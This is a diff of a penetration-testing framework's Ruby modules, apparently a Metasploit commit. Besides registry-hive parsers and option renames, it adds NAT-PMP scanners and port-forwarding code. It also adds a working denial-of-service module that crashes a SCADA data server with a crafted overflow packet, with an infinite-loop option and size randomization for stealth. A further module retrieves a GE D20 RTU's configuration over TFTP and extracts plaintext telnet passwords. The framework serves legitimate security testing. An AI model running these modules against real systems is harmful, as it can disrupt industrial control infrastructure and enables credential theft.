+ def initialize(hive_blob, offset)
+ offset = offset + 4
+ lf_header = hive_blob[offset, 2]
+
+ if lf_header !~ /lf/ && lf_header !~ /lh/
+ return
+ end
+
+ @number_of_keys = hive_blob[offset + 0x02, 2].unpack('C').first
+
+ @hash_records = []
+ @children = []
+
+ hash_offset = offset + 0x04
+
+ 1.upto(@number_of_keys) do |h|
+
+ hash = LFHashRecord.new(hive_blob, hash_offset)
+
+ @hash_records << hash
+
+ hash_offset = hash_offset + 0x08
+
+ @children << NodeKey.new(hive_blob, hash.nodekey_offset + 0x1000)
+ end
+ end
+end
+
+class LFHashRecord
+
+ attr_accessor :nodekey_offset, :nodekey_name_verification
+
+ def initialize(hive_blob, offset)
+ @nodekey_offset = hive_blob[offset, 4].unpack('l').first
+ @nodekey_name_verification = hive_blob[offset+0x04, 4].to_s
+ end
+
+end
+
+end
+end
View
53 lib/rex/registry/nodekey.rb
@@ -0,0 +1,53 @@
+require_relative "lfkey"
+require_relative "valuelist"
+
+module Rex
+module Registry
+
+class NodeKey
+
+ attr_accessor :timestamp, :parent_offset, :subkeys_count, :lf_record_offset
+ attr_accessor :value_count, :value_list_offset, :security_key_offset
+ attr_accessor :class_name_offset, :name_length, :class_name_length, :full_path
+ attr_accessor :name, :lf_record, :value_list, :class_name_data, :readable_timestamp
+
+ def initialize(hive, offset)
+
+ offset = offset + 0x04
+
+ nk_header = hive[offset, 2]
+ nk_type = hive[offset+0x02, 2]
+
+ if nk_header !~ /nk/
+ return
+ end
+
+ @timestamp = hive[offset+0x04, 8].unpack('q').first
+ @parent_offset = hive[offset+0x10, 4].unpack('l').first
+ @subkeys_count = hive[offset+0x14, 4].unpack('l').first
+ @lf_record_offset = hive[offset+0x1c, 4].unpack('l').first
+ @value_count = hive[offset+0x24, 4].unpack('l').first
+ @value_list_offset = hive[offset+0x28, 4].unpack('l').first
+ @security_key_offset = hive[offset+0x2c, 4].unpack('l').first
+ @class_name_offset = hive[offset+0x30, 4].unpack('l').first
+ @name_length = hive[offset+0x48, 2].unpack('c').first
+ @class_name_length = hive[offset+0x4a, 2].unpack('c').first
+ @name = hive[offset+0x4c, @name_length].to_s
+
+ windows_time = @timestamp
+ unix_time = windows_time/10000000-11644473600
+ ruby_time = Time.at(unix_time)
+
+ @readable_timestamp = ruby_time
+
+ @lf_record = LFBlock.new(hive, @lf_record_offset + 0x1000) if @lf_record_offset != -1
+ @value_list = ValueList.new(hive, @value_list_offset + 0x1000, @value_count) if @value_list_offset != -1
+
+ @class_name_data = hive[@class_name_offset + 0x04 + 0x1000, @class_name_length]
+
+ end
+
+end
+
+end
+end
View
26 lib/rex/registry/regf.rb
@@ -0,0 +1,26 @@
+module Rex
+module Registry
+
+class RegfBlock
+
+ attr_accessor :timestamp, :root_key_offset, :hive_name
+
+ def initialize(hive)
+
+ regf_header = hive[0x00, 4]
+
+ if regf_header !~ /regf/
+ puts "Not a registry hive"
+
+ return
+ end
+
+ @timestamp = hive[0x0C, 8].unpack('q').first
+ @root_key_offset = 0x20
+ @hive_name = hive[0x30-1, 64].to_s.gsub("\x00", "")
+
+ end
+end
+
+end
+end
View
66 lib/rex/registry/valuekey.rb
@@ -0,0 +1,66 @@
+module Rex
+module Registry
+
+class ValueKey
+
+ attr_accessor :name_length, :length_of_data, :data_offset, :full_path
+ attr_accessor :value_type, :readable_value_type, :name, :value
+
+ def initialize(hive, offset)
+ offset = offset + 4
+
+ vk_header = hive[offset, 2]
+
+ if vk_header !~ /vk/
+ puts "no vk at offset #{offset}"
+ return
+ end
+
+ @name_length = hive[offset+0x02, 2].unpack('c').first
+ @length_of_data = hive[offset+0x04, 4].unpack('l').first
+ @data_offset = hive[offset+ 0x08, 4].unpack('l').first
+ @value_type = hive[offset+0x0C, 4].unpack('c').first
+
+ if @value_type == 1
+ @readable_value_type = "Unicode character string"
+ elsif @value_type == 2
+ @readable_value_type = "Unicode string with %VAR% expanding"
+ elsif @value_type == 3
+ @readable_value_type = "Raw binary value"
+ elsif @value_type == 4
+ @readable_value_type = "Dword"
+ elsif @value_type == 7
+ @readable_value_type = "Multiple unicode strings separated with '\\x00'"
+ end
+
+ flag = hive[offset+0x10, 2].unpack('c').first
+
+ if flag == 0
+ @name = "Default"
+ else
+ @name = hive[offset+0x14, @name_length].to_s
+ end
+
+ @value = ValueKeyData.new(hive, @data_offset, @length_of_data, @value_type, offset)
+ end
+end
+
+class ValueKeyData
+
+ attr_accessor :data
+
+ def initialize(hive, offset, length, datatype, parent_offset)
+ offset = offset + 4
+
+ #If the data-size is lower than 5, the data-offset value is used to store
+ #the data itself!
+ if length < 5
+ @data = hive[parent_offset + 0x08, 4]
+ else
+ @data = hive[offset + 0x1000, length]
+ end
+ end
+end
+
+end
+end
View
28 lib/rex/registry/valuelist.rb
@@ -0,0 +1,28 @@
+require_relative "valuekey"
+
+module Rex
+module Registry
+
+class ValueList
+
+ attr_accessor :values
+
+ def initialize(hive, offset, number_of_values)
+ offset = offset + 4
+ inner_offset = 0
+
+ @values = []
+
+ 1.upto(number_of_values) do |v|
+ valuekey_offset = hive[offset + inner_offset, 4]
+ next if !valuekey_offset
+
+ valuekey_offset = valuekey_offset.unpack('l').first
+ @values << ValueKey.new(hive, valuekey_offset + 0x1000)
+ inner_offset = inner_offset + 4
+ end
+ end
+end
+
+end
+end
View
106 modules/auxiliary/admin/natpmp/natpmp_map.rb
@@ -0,0 +1,106 @@
+require 'msf/core'
+require 'rex/proto/natpmp'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'NAT-PMP port mapper',
+ 'Description' => 'Map (forward) TCP and UDP ports on NAT devices using NAT-PMP',
+ 'Author' => 'jhart@spoofed.org',
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::LPORT,
+ Opt::RPORT,
+ OptInt.new('NATPMPPORT', [true, "NAT-PMP port to use", Rex::Proto::NATPMP::DefaultPort]),
+ OptInt.new('LIFETIME', [true, "Time in ms to keep this port forwarded", 3600000]),
+ OptEnum.new('PROTOCOL', [true, "Protocol to forward", 'TCP', %w(TCP UDP)]),
+ Opt::CHOST
+ ],
+ self.class
+ )
+ end
+
+ def run_host(host)
+ begin
+
+ udp_sock = Rex::Socket::Udp.create(
+ { 'LocalHost' => datastore['CHOST'] || nil,
+ 'Context' => {'Msf' => framework, 'MsfExploit' => self}
+ })
+ add_socket(udp_sock)
+
+ # get the external address first
+ print_status "#{host} - NATPMP - Probing for external address" if (datastore['VERBOSE'])
+ req = Rex::Proto::NATPMP.external_address_request
+ udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
+ external_address = nil
+ while (r = udp_sock.recvfrom(12, 1) and r[1])
+ (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(r[0])
+ end
+
+ print_status "#{host} - NATPMP - Sending mapping request" if (datastore['VERBOSE'])
+ # build the mapping request
+ req = Rex::Proto::NATPMP.map_port_request(
+ datastore['LPORT'].to_i, datastore['RPORT'].to_i,
+ Rex::Proto::NATPMP.const_get(datastore['PROTOCOL']), datastore['LIFETIME']
+ )
+ # send it
+ udp_sock.sendto(req, host, datastore['NATPMPPORT'], 0)
+ # handle the reply
+ while (r = udp_sock.recvfrom(16, 1) and r[1])
+ handle_reply(Rex::Socket.source_address(host), host, external_address, r)
+ end
+ rescue ::Interrupt
+ raise $!
+ rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
+ nil
+ rescue ::Exception => e
+ print_error("Unknown error: #{e.class} #{e.backtrace}")
+ end
+ end
+
+ def handle_reply(map_target, host, external_address, pkt)
+ return if not pkt[1]
+
+ if(pkt[1] =~ /^::ffff:/)
+ pkt[1] = pkt[1].sub(/^::ffff:/, '')
+ end
+
+ (ver, op, result, epoch, internal_port, external_port, lifetime) = Rex::Proto::NATPMP.parse_map_port_response(pkt[0])
+
+ if (result == 0)
+ if (datastore['RPORT'].to_i != external_port)
+ print_status( "#{external_address} " +
+ "#{datastore['RPORT']}/#{datastore['PROTOCOL']} -> #{map_target} " +
+ "#{internal_port}/#{datastore['PROTOCOL']} couldn't be forwarded")
+ end
+ print_status( "#{external_address} " +
+ "#{external_port}/#{datastore['PROTOCOL']} -> #{map_target} " +
+ "#{internal_port}/#{datastore['PROTOCOL']} forwarded")
+ end
+
+ # report NAT-PMP as being open
+ report_service(
+ :host => host,
+ :port => pkt[2],
+ :proto => 'udp',
+ :name => 'natpmp',
+ :state => Msf::ServiceState::Open
+ )
+
+ # report the external port as being open
+ report_service(
+ :host => external_address,
+ :port => external_port,
+ :proto => datastore['PROTOCOL'].to_s.downcase,
+ :state => Msf::ServiceState::Open
+ )
+ end
+end
View
102 modules/auxiliary/dos/scada/igss9_dataserver.rb
@@ -0,0 +1,102 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Exploit::Remote::Tcp
+ include Msf::Auxiliary::Dos
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => '7-Technologies IGSS 9 IGSSdataServer.exe DoS',
+ 'Description' => %q{
+ The 7-Technologies SCADA IGSS Data Server (IGSSdataServer.exe) <= 9.0.0.10306 can be
+ brought down by sending a crafted TCP packet to port 12401. This should also work
+ for version <= 9.0.0.1120, but that version hasn't been tested.
+ },
+ 'Author' =>
+ [
+ 'jfa', # Metasploit module
+ ],
+ 'License' => MSF_LICENSE,
+ 'References' =>
+ [
+ [ 'CVE', '2011-4050' ],
+ [ 'OSVDB', '77976' ],
+ [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-11-335-01.pdf' ]
+ ],
+ 'DisclosureDate' => 'Dec 20 2011'
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(12401),
+ OptInt.new('COUNT', [ true, "DoS IGSSdataServer.exe this many times. 0 for infinite loop.", 1]),
+ OptInt.new('SLEEP', [ true, 'Number of seconds to sleep between sending DoS packet.', 3])
+ ])
+ end
+
+ def run
+ #
+ #dos = "\x00\x04\x01\x00\x34\x12\x0D\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"
+ #dos << Rex::Text.rand_text_alpha(5014)
+ #
+ # I should have looked at the other MSF modules before I started doing it the hard way.
+ # Lesson learn, thanks hal. Mostly borrowed from igss9_igssdataserver_rename
+ #
+
+ count = datastore['COUNT']
+ snore = datastore['SLEEP']
+ times = 1
+
+ # Someone wants to keep a good service down.
+ if count == 0
+ count = 1
+ infinite = true
+ end
+
+ #
+ # The port seems to stay open open until someone clicks "Close the program".
+ # Once they click "Close the program" (Windows 7), the port becomes unavailable.
+ #
+ # However, even though it's open, it doesn't seem to handle any valid requests.
+ #
+ while count >= 1 do
+ ## Randomize the buffer size to make it a teeny tiny bit less obvious
+ size = Random.new.rand(1024..5014)
+
+ dos = "\x00\x04" #Funky size causes overflow
+ dos << "\x01\x00\x34\x12"
+ dos << "\x0D" #Opcode
+ dos << "\x00\x00\x00\x00\x00\x00\x00"
+ dos << "\x01" #Flag
+ dos << "\x00\x00\x00\x01\x00\x00\x00"
+ dos << Rex::Text.rand_text_alpha(size)
+
+ begin
+ connect
+ sock.put(dos)
+ print_status("Sending DoS packet #{times}, size: #{dos.length} ...")
+ disconnect
+ rescue ::Rex::ConnectionError, Errno::ECONNREFUSED
+ print_status("Connection refused. Someone may have clicked 'Close the program'")
+ end
+
+ if infinite
+ select(nil, nil, nil, snore)
+ times += 1
+ else
+ select(nil, nil, nil, snore) if count > 1
+ count -= 1
+ times += 1
+ end
+
+ end
+ end
+end
View
10 modules/auxiliary/gather/corpwatch_lookup_name.rb
@@ -35,7 +35,7 @@ def initialize(info = {})
OptString.new('COMPANY_NAME', [ true, "Search for companies with this name", ""]),
OptString.new('YEAR', [ false, "Limit results to a specific year", ""]),
OptString.new('LIMIT', [ true, "Limit the number of results returned", "5"]),
- OptString.new('API_KEY', [ false, "Use this API key when getting the data", ""]),
+ OptString.new('CORPWATCH_APIKEY', [ false, "Use this API key when getting the data", ""]),
], self.class)
deregister_options('RHOST', 'RPORT', 'Proxies', 'VHOST')
@@ -63,11 +63,11 @@ def run
{
'uri' => uri,
'method' => 'GET',
- 'vars_get' =>
+ 'vars_get' =>
{
'company_name' => datastore['COMPANY_NAME'],
'limit' => datastore['LIMIT'],
- 'key' => datastore['API_KEY']
+ 'key' => datastore['CORPWATCH_APIKEY']
}
}, 25)
@@ -132,8 +132,8 @@ def run
end
def grab_text(e, name)
- (e.get_elements(name) && e.get_elements(name)[0] &&
- e.get_elements(name)[0].get_text ) ?
+ (e.get_elements(name) && e.get_elements(name)[0] &&
+ e.get_elements(name)[0].get_text ) ?
e.get_elements(name)[0].get_text.to_s : ""
end
View
275 modules/auxiliary/gather/d20pass.rb
@@ -0,0 +1,275 @@
+
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# Framework web site for more information on licensing and terms of use.
+# http://metasploit.com/framework/
+##
+
+##
+# This module grabs the device configuration from a GE D20M* RTU and
+# parses the usernames and passwords from it.
+##
+
+require 'msf/core'
+require 'rex/ui/text/shell'
+require 'rex/proto/tftp'
+
+class Metasploit3 < Msf::Auxiliary
+ include Rex::Ui::Text
+ include Rex::Proto::TFTP
+ include Msf::Exploit::Remote::Udp
+ include Msf::Auxiliary::Report
+
+ def initialize(info = {})
+ super(update_info(info,
+ 'Name' => 'General Electric D20 Password Recovery',
+ 'Description' => %q{
+ The General Electric D20ME and possibly other units (D200?) feature
+ TFTP readable configurations with plaintext passwords. This module
+ retrieves the username, password, and authentication level list.
+ },
+ 'Author' => [ 'K. Reid Wightman <wightman[at]digitalbond.com>' ],
+ 'License' => MSF_LICENSE,
+ 'Version' => '$Revision: 1 $',
+ 'DisclosureDate' => 'Jan 19 2012'
+ ))
+
+ register_options(
+ [
+ Opt::RPORT(69),
+ Opt::RHOST('192.168.255.1'),
+ OptString.new('REMOTE_CONFIG_NAME', [true, "The remote filename used to retrieve the configuration", "NVRAM\\D20.zlb"])
+ ], self.class)
+ end
+
+ def setup
+ @rhost = datastore['RHOST']
+ @rport = datastore['RPORT'] || 69
+ @lport = datastore['LPORT'] || (1025 + rand(0xffff - 1025))
+ @lhost = datastore['LHOST'] || "0.0.0.0"
+ @rfile = datastore['REMOTE_CONFIG_NAME']
+ end
+
+ def cleanup
+ if @tftp_client and @tftp_client.respond_to? :complete
+ while not @tftp_client.complete
+ select(nil,nil,nil,1)
+ vprint_status "Cleaning up the TFTP client ports and threads."
+ @tftp_client.stop
+ end
+ end
+ end
+
+ def rtarget(ip=nil)
+ if (ip or rhost) and rport
+ [(ip || rhost),rport].map {|x| x.to_s}.join(":") << " "
+ elsif (ip or rhost)
+ "#{rhost}"
+ else
+ ""
+ end
+ end
+
+ # Retrieve the file
+ def retrieve
+ print_status("Retrieving file")
+ @tftp_client = Rex::Proto::TFTP::Client.new(
+ "LocalHost" => @lhost,
+ "LocalPort" => @lport,
+ "PeerHost" => @rhost,
+ "PeerPort" => @rport,
+ "RemoteFile" => @rfile,
+ "Action" => :download
+ )
+ @tftp_client.send_read_request { |msg| print_tftp_status(msg) }
+ @tftp_client.threads do |thread|
+ thread.join
+ end
+ # Wait for GET to finish
+ while not @tftp_client.complete
+ select(nil, nil, nil, 0.1)
+ end
+ fh = @tftp_client.recv_tempfile
+ return fh
+ end
+
+ # Builds a big-endian word
+ def makeword(bytestr)
+ return bytestr.unpack("n")[0]
+ end
+ # builds abi
+ def makelong(bytestr)
+ return bytestr.unpack("N")[0]
+ end
+
+ # Returns a pointer. We re-base the pointer
+ # so that it may be used as a file pointer.
+ # In the D20 memory, the file is located in flat
+ # memory at 0x00800000.
+ def makefptr(bytestr)
+ ptr = makelong(bytestr)
+ ptr = ptr - 0x00800000
+ return ptr
+ end
+
+ # Build a string out of the file. Assumes that the string is
+ # null-terminated. This will be the case in the D20 Username
+ # and Password fields.
+ def makestr(f, strptr)
+ f.seek(strptr)
+ str = ""
+ b = f.read(1)
+ if b != 0
+ str = str + b
+ end
+ while b != "\000"
+ b = f.read(1)
+ if b != "\000"
+ str = str + b
+ end
+ end
+ return str
+ end
+
+ # configuration section names in the file are always
+ # 8 bytes. Sometimes they are null-terminated strings,
+ # but not always, so I use this silly helper function.
+ def getname(f, entryptr)
+ f.seek(entryptr + 12) # three ptrs then name
+ str = f.read(8)
+ return str
+ end
+
+ def leftchild(f, entryptr)
+ f.seek(entryptr + 4)
+ ptr = f.read(4)
+ return makefptr(ptr)
+ end
+
+ def rightchild(f, entryptr)
+ f.seek(entryptr + 8)
+ ptr = f.read(4)
+ return makefptr(ptr)
+ end
+
+ # find the entry in the configuration file.
+ # the file is a binary tree, with pointers to parent, left, right
+ # stored as 32-bit big-endian values.
+ # sorry for depth-first recursion
+ def findentry(f, name, start)
+ f.seek(start)
+ myname = getname(f, start)
+ if name == myname
+ return start
+ end
+ left = leftchild(f, start)
+ right = rightchild(f, start)
+ if name < myname
+ if left < f.stat.size and left != 0
+ res = findentry(f, name, leftchild(f, start))
+ else
+ res = nil # this should perolate up
+ end
+ end
+ if name > myname
+ if right < f.stat.size and right != 0
+ res = findentry(f, name, rightchild(f, start))
+ else
+ res = nil
+ end
+ end
+ return res
+ end
+
+ # Parse the usernames, passwords, and security levels from the config
+ # It's a little ugly (lots of hard-coded offsets).
+ # The userdata starts at an offset dictated by the B014USERS config
+ # offset 0x14 (20) bytes. The rest is all about skipping past the
+ # section header.
+ def parseusers(f, userentryptr)
+ f.seek(userentryptr + 0x14)
+ dstart = makefptr(f.read(4))
+ f.seek(userentryptr + 0x1C)
+ numentries = makelong(f.read(4))
+ f.seek(userentryptr + 0x60)
+ headerlen = makeword(f.read(2))
+ f.seek(userentryptr + 40) # sorry decimal
+ entrylen = makeword(f.read(2)) # sorry this is decimal
+ logins = Rex::Ui::Text::Table.new(
+ 'Header' => "D20 usernames, passwords, and account levels\n(use for TELNET authentication)",
+ 'Indent' => 1,
+ 'Columns' => ["Type", "User Name", "Password"])
+
+ 0.upto(numentries -1).each do |i|
+ f.seek(dstart + headerlen + i * entrylen)
+ accounttype = makeword(f.read(2))
+ f.seek(dstart + headerlen + i * entrylen + 2)
+ accountname = makestr(f, dstart + headerlen + i * entrylen + 2)
+ f.seek(dstart + headerlen + i * entrylen + 2 + 22)
+ accountpass = makestr(f, dstart + headerlen + i * entrylen + 2 + 22)
+ if accountname.size + accountpass.size > 44
+ print_error("Bad account parsing at #{dstart + headerlen + i * entrylen}")
+ break
+ end
+ logins << [accounttype, accountname, accountpass]
+ report_auth_info(
+ :host => datastore['RHOST'],
+ :port => 23,
+ :sname => "telnet",
+ :user => accountname,
+ :pass => accountpass,
+ :active => true
+ )
+ end
+ if not logins.rows.empty?
+ loot = store_loot(
+ "d20.user.creds",
+ "text/csv",
+ datastore['RHOST'],
+ logins.to_s,
+ "d20_user_creds.txt",
+ "General Electric TELNET User Credentials",
+ datastore['RPORT']
+ )
+ print_line logins.to_s
+ print_status("Loot stored in: #{loot}")
+ else
+ print_error("No data collected")
+ end
+ end
+
+ def parse(fh)
+ print_status("Parsing file")
+ f = File.open(fh.path, 'rb')
+ used = f.read(4)
+ if used != "USED"
+ print_error "Invalid Configuration File!"
+ return
+ end
+ f.seek(0x38)
+ start = makefptr(f.read(4))
+ userptr = findentry(f, "B014USER", start)
+ if userptr != nil
+ parseusers(f, userptr)
+ else
+ print_error "Error finding the user table in the configuration."
+ end
+ end
+
+ def run
+ fh = retrieve
+ parse(fh)
+ end
+
+ def print_tftp_status(msg)
+ case msg
+ when /Aborting/, /errors.$/
+ print_error [rtarget,msg].join
+ when /^WRQ accepted/, /^Sending/, /complete!$/
+ print_good [rtarget,msg].join
+ else
+ vprint_status [rtarget,msg].join
+ end
+ end
+end
View
82 modules/auxiliary/gather/natpmp_external_address.rb
@@ -0,0 +1,82 @@
+require 'msf/core'
+require 'rex/proto/natpmp'
+
+class Metasploit3 < Msf::Auxiliary
+
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize
+ super(
+ 'Name' => 'NAT-PMP External address scanner',
+ 'Description' => 'Scan NAT devices for their external address using NAT-PMP',
+ 'Author' => 'jhart@spoofed.org',
+ 'License' => MSF_LICENSE
+ )
+
+ register_options(
+ [
+ Opt::RPORT(Rex::Proto::NATPMP::DefaultPort),
+ Opt::CHOST
+ ],
+ self.class
+ )
+ end
+
+ def run_host(host)
+ begin
+ udp_sock = Rex::Socket::Udp.create(
+ { 'LocalHost' => datastore['CHOST'] || nil,
+ 'Context' => {'Msf' => framework, 'MsfExploit' => self}
+ })
+ add_socket(udp_sock)
+ print_status "#{host}:#{datastore['RPORT']} - NATPMP - Probing for external address" if (datastore['VERBOSE'])
+
+ udp_sock.sendto(Rex::Proto::NATPMP.external_address_request, host, datastore['RPORT'].to_i, 0)
+ while (r = udp_sock.recvfrom(12, 0.25) and r[1])
+ handle_reply(host, r)
+ end
+ rescue ::Interrupt
+ raise $!
+ rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionRefused
+ nil
+ rescue ::Exception => e
+ print_error("Unknown error: #{e.class} #{e}")
+ end
+ end
+
+ def handle_reply(host, pkt)
+ return if not pkt[1]
+
+ if(pkt[1] =~ /^::ffff:/)
+ pkt[1] = pkt[1].sub(/^::ffff:/, '')
+ end
+
+ (ver, op, result, epoch, external_address) = Rex::Proto::NATPMP.parse_external_address_response(pkt[0])
+
+ if (result == 0)
+ print_status("#{host} -- external address #{external_address}")
+ end
+
+ # report the host we scanned as alive
+ report_host(
+ :host => host,
+ :state => Msf::HostState::Alive
+ )
+
+ # also report its external address as alive
+ report_host(
+ :host => external_address,
+ :state => Msf::HostState::Alive
+ )
+
+ # report NAT-PMP as being open
+ report_service(
+ :host => host,
+ :port => pkt[2],
+ :proto => 'udp',
+ :name => 'natpmp',
+ :state => Msf::ServiceState::Open
+ )
+ end
+end
View
8 modules/auxiliary/gather/shodan_search.rb
@@ -45,11 +45,11 @@ def initialize(info = {})
register_options(
[
- OptString.new('APIKEY', [true, "The SHODAN API key"]),
+ OptString.new('SHODAN_APIKEY', [true, "The SHODAN API key"]),
OptString.new('QUERY', [true, "Keywords you want to search for"]),
OptString.new('OUTFILE', [false, "A filename to store the list of IPs"]),
OptBool.new('DATABASE', [false, "Add search results to the database", false]),
- OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1000]),
+ OptInt.new('MAXPAGE', [true, "Max amount of pages to collect", 1]),
OptString.new('FILTER', [false, 'Search for a specific IP/City/Country/Hostname']),
OptString.new('VHOST', [true, 'The virtual host name to use in requests', 'www.shodanhq.com']),
], self.class)
@@ -89,7 +89,7 @@ def cleanup
def run
# create our Shodan request parameters
query = datastore['QUERY']
- apikey = datastore['APIKEY']
+ apikey = datastore['SHODAN_APIKEY']
@res = Net::DNS::Resolver.new()
dns_query = @res.query("#{datastore['VHOST']}", "A")
@@ -151,7 +151,7 @@ def run
page = 1
my_filter = datastore['FILTER']
for i in page..tpages
- next if results[i].nil?
+ next if results[i].nil? or results[i]['matches'].nil?
results[i]['matches'].each { |host|
city = host['city'] || 'N/A'
View
11 modules/auxiliary/scanner/discovery/udp_sweep.rb
@@ -71,7 +71,6 @@ def run_batch_size
# Fingerprint a single host
def run_batch(batch)
-
print_status("Sending #{@probes.length} probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
begin
@@ -97,7 +96,8 @@ def run_batch(batch)
if (idx % 30 == 0)
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
- parse_reply(r)
+ reply_addr = r[1].split(':').last
+ parse_reply(r) if batch.include? reply_addr
end
end
@@ -109,7 +109,8 @@ def run_batch(batch)
del = 10
sts = Time.now.to_i
while (r = udp_sock.recvfrom(65535, del) and r[1])
- parse_reply(r)
+ reply_addr = r[1].split(':').last
+ parse_reply(r) if batch.include? reply_addr
# Prevent an indefinite loop if the targets keep replying
cnt += 1
@@ -126,7 +127,8 @@ def run_batch(batch)
rescue ::Errno::ENOBUFS
print_status("Socket buffers are full, waiting for them to flush...")
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
- parse_reply(r)
+ reply_addr = r[1].split(':').last
+ parse_reply(r) if batch.include? reply_addr
end
select(nil, nil, nil, 0.25)
retry
@@ -140,7 +142,6 @@ def run_batch(batch)
# The response parsers
#
def parse_reply(pkt)
-
@results ||= {}
# Ignore "empty" packets
View
1  modules/auxiliary/scanner/ftp/ftp_login.rb
@@ -60,6 +60,7 @@ def initialize
def run_host(ip)
print_status("#{ip}:#{rport} - Starting FTP login sweep")
if check_banner
+ @@credentials_tried = {}
if datastore['RECORD_GUEST'] == false and check_anonymous == :next_user
@accepts_all_logins[@access] ||= []
@accepts_all_logins[@access] << ip
View
2  modules/auxiliary/scanner/http/http_version.rb
@@ -36,7 +36,7 @@ def initialize
def run_host(ip)
begin
fp = http_fingerprint
- print_status("#{ip} #{fp}") if fp
+ print_status("#{ip}:#{rport} #{fp}") if fp
rescue ::Timeout::Error, ::Errno::EPIPE
end
end
View
6 modules/auxiliary/scanner/http/httpbl_lookup.rb
@@ -36,7 +36,7 @@ def initialize(info = {})
register_options(
[
# OptAddressRange.new('RHOSTS', [false, "The target address, range, or CIDR identifier"]),
- OptString.new('APIKEY', [ true, "Your HTTP:BL api key"])
+ OptString.new('HTTPBL_APIKEY', [ true, "Your HTTP:BL api key"])
], self.class)
end
@@ -44,10 +44,10 @@ def initialize(info = {})
def support_ipv6?
false
end
-
+
def resolve(ip)
results = ''
- apikey = datastore['apikey']
+ apikey = datastore['HTTPBL_APIKEY']
query = apikey + '.' + ip.split('.').reverse.join('.') + '.dnsbl.httpbl.org'
begin
results = Resolv::DNS.new.getaddress(query).to_s
View
160 modules/auxiliary/scanner/http/soap_xml.rb
@@ -42,7 +42,9 @@ def initialize(info = {})
OptString.new('XMLSCHEMA', [ true, "XML Schema", 'http://www.w3.org/2001/XMLSchema']),
OptString.new('XMLSOAP', [ true, "XML SOAP", 'http://schemas.xmlsoap.org/soap/envelope/']),
OptString.new('CONTENTTYPE', [ true, "The HTTP Content-Type Header", 'application/x-www-form-urlencoded']),
+ OptInt.new('SLEEP', [true, "Sleep this many seconds between requests", 0 ]),
OptBool.new('DISPLAYHTML', [ true, "Display HTML response", false ]),
+ OptBool.new('SSL', [ true, "Use SSL", false ]),
], self.class)
end
@@ -53,6 +55,7 @@ def run_host(ip)
verbs = [
'get',
'active',
+ 'activate',
'create',
'change',
'set',
@@ -74,33 +77,49 @@ def run_host(ip)
'register',
'log',
'add',
+ 'list',
+ 'query',
#'delete', # Best to be safe!
]
nouns = [
'password',
'task',
+ 'tasks',
'pass',
'administration',
'account',
+ 'accounts',
'admin',
'login',
+ 'logins',
'token',
- 'credentials',
+ 'tokens',
'credential',
+ 'credentials',
'key',
+ 'keys',
'guid',
'message',
+ 'messages',
'user',
+ 'users',
'username',
+ 'usernames',
'load',
'list',
'name',
+ 'names',
'file',
+ 'files',
'path',
+ 'paths',
'directory',
+ 'directories',
'configuration',
+ 'configurations',
'config',
+ 'configs',
'setting',
'settings',
'registry',
@@ -111,79 +130,74 @@ def run_host(ip)
target_port = datastore['RPORT']
vhost = datastore['VHOST'] || wmap_target_host || ip
+ # regular expressions for common rejection messages
+ reject_regexen = []
+ reject_regexen << Regexp.new("method \\S+ is not valid", true)
+ reject_regexen << Regexp.new("Method \\S+ not implemented", true)
+ reject_regexen << Regexp.new("unable to resolve WSDL method name", true)
+
begin
- # Check service exists
- res = send_request_raw({
- 'uri' => datastore['PATH'],
- 'method' => 'GET',
- 'vhost' => vhost,
- }, 10)
-
- if (res.code == 200)
- print_status("PATH appears to be OK.")
-
- verbs.each do |v|
- nouns.each do |n|
-
- # This could be cleaned up - patrickw
- data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
- data << '<soap:Envelope xmlns:xsi="' + datastore['XMLINSTANCE'] + '" xmlns:xsd="' + datastore['XMLSCHEMA'] + '" xmlns:soap="' + datastore['XMLSOAP'] + '">' + "\r\n"
- data << '<soap:Body>' + "\r\n"
- data << "<#{v}#{n}" + " xmlns=\"#{datastore['XMLNAMESPACE']}\">" + "\r\n"
- data << "</#{v}#{n}>" + "\r\n"
- data << '</soap:Body>' + "\r\n"
- data << '</soap:Envelope>' + "\r\n\r\n"
-
- res = send_request_raw({
- 'uri' => datastore['PATH'] + '/' + v + n,
- 'method' => 'POST',
- 'vhost' => vhost,
- 'data' => data,
- 'headers' =>
- {
- 'Content-Length' => data.length,
- 'SOAPAction' => '"' + datastore['XMLNAMESPACE'] + v + n + '"',
- 'Expect' => '100-continue',
- 'Content-Type' => datastore['CONTENTTYPE'],
- }
- }, 15)
-
- if (res && !(res.body.empty?))
- if (res.body =~ /method name is not valid/)
- print_status("Server rejected SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
- elsif (res.message =~ /Cannot process the message because the content type/)
- print_status("Server rejected CONTENTTYPE: HTTP: #{res.code} #{res.message}.")
- res.message =~ /was not the expected type\s\'([^']+)'/
- print_status("Set CONTENTTYPE to \"#{$1}\"")
- return false
- elsif (res.code == 404)
- return false
- else
- print_status("Server responded to SOAPAction: #{v}#{n} with HTTP: #{res.code} #{res.message}.")
- ## Add Report
- report_note(
- :host => ip,
- :proto => 'tcp',
- :sname => 'HTTP',
- :port => rport,
- :type => "SOAPAction: #{v}#{n}",
